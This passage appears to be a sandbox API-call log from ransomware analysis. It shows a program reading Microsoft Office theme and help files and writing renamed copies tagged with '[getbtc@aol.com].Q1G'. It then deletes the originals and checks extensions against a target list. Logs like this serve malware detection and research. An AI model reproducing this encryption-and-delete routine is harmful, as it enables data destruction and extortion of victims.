Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0048.998] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.998] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0048.998] GetLastError () returned 0x0 [0048.999] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0049.007] WriteFile (in: hFile=0x228, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0049.008] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.008] WriteFile (in: hFile=0x228, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.009] SetEndOfFile (hFile=0x228) returned 1 [0049.009] CloseHandle (hObject=0x228) returned 1 [0049.009] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.009] SetEndOfFile (hFile=0x1d0) returned 1 [0049.010] CloseHandle (hObject=0x1d0) returned 1 [0049.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.010] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0049.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.010] lstrlenW (lpString=".doc") returned 4 [0049.010] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.010] lstrlenW (lpString=".docx") returned 5 [0049.010] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.010] lstrlenW (lpString=".pdf") returned 4 [0049.010] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.010] lstrlenW (lpString=".xls") returned 4 [0049.010] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.010] lstrlenW (lpString=".xlsx") returned 5 [0049.010] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.011] lstrlenW (lpString=".ppt") returned 4 [0049.011] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString=".zip") returned 4 [0049.011] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.011] lstrlenW (lpString=".rar") returned 4 [0049.011] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.011] lstrlenW (lpString=".bz2") returned 4 [0049.011] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.011] lstrlenW (lpString=".7z") returned 3 [0049.011] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString=".dbf") returned 4 [0049.011] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString=".1cd") returned 4 [0049.011] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString=".jpg") returned 4 [0049.011] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString=".doc") returned 4 [0049.011] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.011] lstrlenW (lpString=".docx") returned 5 [0049.011] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.011] lstrlenW (lpString=".pdf") returned 4 [0049.011] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.011] lstrlenW (lpString=".xls") returned 4 [0049.011] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.011] lstrlenW (lpString=".xlsx") returned 5 [0049.011] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.011] lstrlenW (lpString=".ppt") returned 4 [0049.011] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.011] lstrlenW (lpString=".zip") returned 4 [0049.012] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.012] lstrlenW (lpString=".rar") returned 4 [0049.012] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.012] lstrlenW (lpString=".bz2") returned 4 [0049.012] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.012] lstrlenW (lpString=".7z") returned 3 [0049.012] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.012] lstrlenW (lpString=".dbf") returned 4 [0049.012] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.012] lstrlenW (lpString=".1cd") returned 4 [0049.012] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0049.012] lstrlenW (lpString=".jpg") returned 4 [0049.012] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.012] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.012] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0049.012] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2209) returned 1 [0049.012] CloseHandle (hObject=0x1d0) returned 1 [0049.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0049.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0049.013] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.013] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0049.160] GetLastError () returned 0x0 [0049.160] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0049.240] WriteFile (in: hFile=0x228, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0049.241] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.241] WriteFile (in: hFile=0x228, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.241] SetEndOfFile (hFile=0x228) returned 1 [0049.241] CloseHandle (hObject=0x228) returned 1 [0049.241] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.241] SetEndOfFile (hFile=0x1d0) returned 1 [0049.242] CloseHandle (hObject=0x1d0) returned 1 [0049.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.242] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0049.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.243] lstrlenW (lpString=".doc") returned 4 [0049.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.243] lstrlenW (lpString=".docx") returned 5 [0049.243] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.243] lstrlenW (lpString=".pdf") returned 4 [0049.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.243] lstrlenW (lpString=".xls") returned 4 [0049.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.243] lstrlenW (lpString=".xlsx") returned 5 [0049.243] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.243] lstrlenW (lpString=".ppt") returned 4 [0049.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.243] lstrlenW (lpString=".zip") returned 4 [0049.243] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.243] lstrlenW (lpString=".rar") returned 4 [0049.243] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.243] lstrlenW (lpString=".bz2") returned 4 [0049.243] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.243] lstrlenW (lpString=".7z") returned 3 [0049.243] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.243] lstrlenW (lpString=".dbf") returned 4 [0049.243] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.243] lstrlenW (lpString=".1cd") returned 4 [0049.243] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.243] lstrlenW (lpString=".jpg") returned 4 [0049.244] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.244] lstrlenW (lpString=".doc") returned 4 [0049.244] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.244] lstrlenW (lpString=".docx") returned 5 [0049.244] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.244] lstrlenW (lpString=".pdf") returned 4 [0049.244] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.244] lstrlenW (lpString=".xls") returned 4 [0049.244] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.244] lstrlenW (lpString=".xlsx") returned 5 [0049.244] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.244] lstrlenW (lpString=".ppt") returned 4 [0049.244] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.244] lstrlenW (lpString=".zip") returned 4 [0049.244] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.244] lstrlenW (lpString=".rar") returned 4 [0049.244] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.244] lstrlenW (lpString=".bz2") returned 4 [0049.244] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.244] lstrlenW (lpString=".7z") returned 3 [0049.244] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.244] lstrlenW (lpString=".dbf") returned 4 [0049.244] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.244] lstrlenW (lpString=".1cd") returned 4 [0049.244] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.244] lstrlenW (lpString=".jpg") returned 4 [0049.244] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.245] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.245] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0049.245] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4991) returned 1 [0049.245] CloseHandle (hObject=0x1d0) returned 1 [0049.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0049.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0049.245] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.245] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.556] GetLastError () returned 0x0 [0049.556] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x137f, lpOverlapped=0x0) returned 1 [0049.558] WriteFile (in: hFile=0x1a0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0049.559] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.559] WriteFile (in: hFile=0x1a0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.559] SetEndOfFile (hFile=0x1a0) returned 1 [0049.559] CloseHandle (hObject=0x1a0) returned 1 [0049.560] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.560] SetEndOfFile (hFile=0x1d0) returned 1 [0049.560] CloseHandle (hObject=0x1d0) returned 1 [0049.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.561] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.561] lstrlenW (lpString=".doc") returned 4 [0049.561] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.561] lstrlenW (lpString=".docx") returned 5 [0049.561] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.561] lstrlenW (lpString=".pdf") returned 4 [0049.561] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.561] lstrlenW (lpString=".xls") returned 4 [0049.561] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.561] lstrlenW (lpString=".xlsx") returned 5 [0049.561] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.561] lstrlenW (lpString=".ppt") returned 4 [0049.561] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.561] lstrlenW (lpString=".zip") returned 4 [0049.561] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.561] lstrlenW (lpString=".rar") returned 4 [0049.561] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.561] lstrlenW (lpString=".bz2") returned 4 [0049.561] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.561] lstrlenW (lpString=".7z") returned 3 [0049.561] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString=".dbf") returned 4 [0049.562] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString=".1cd") returned 4 [0049.562] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString=".jpg") returned 4 [0049.562] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString=".doc") returned 4 [0049.562] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.562] lstrlenW (lpString=".docx") returned 5 [0049.562] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.562] lstrlenW (lpString=".pdf") returned 4 [0049.562] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.562] lstrlenW (lpString=".xls") returned 4 [0049.562] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.562] lstrlenW (lpString=".xlsx") returned 5 [0049.562] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.562] lstrlenW (lpString=".ppt") returned 4 [0049.562] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString=".zip") returned 4 [0049.562] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.562] lstrlenW (lpString=".rar") returned 4 [0049.562] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.562] lstrlenW (lpString=".bz2") returned 4 [0049.562] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.562] lstrlenW (lpString=".7z") returned 3 [0049.562] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.562] lstrlenW (lpString=".dbf") returned 4 [0049.563] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.563] lstrlenW (lpString=".1cd") returned 4 [0049.563] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0049.563] lstrlenW (lpString=".jpg") returned 4 [0049.563] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.563] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0049.563] lstrlenW (lpString="VBHW6.CHM") returned 9 [0049.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.912] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=58026) returned 1 [0050.913] CloseHandle (hObject=0x188) returned 1 [0050.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0050.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 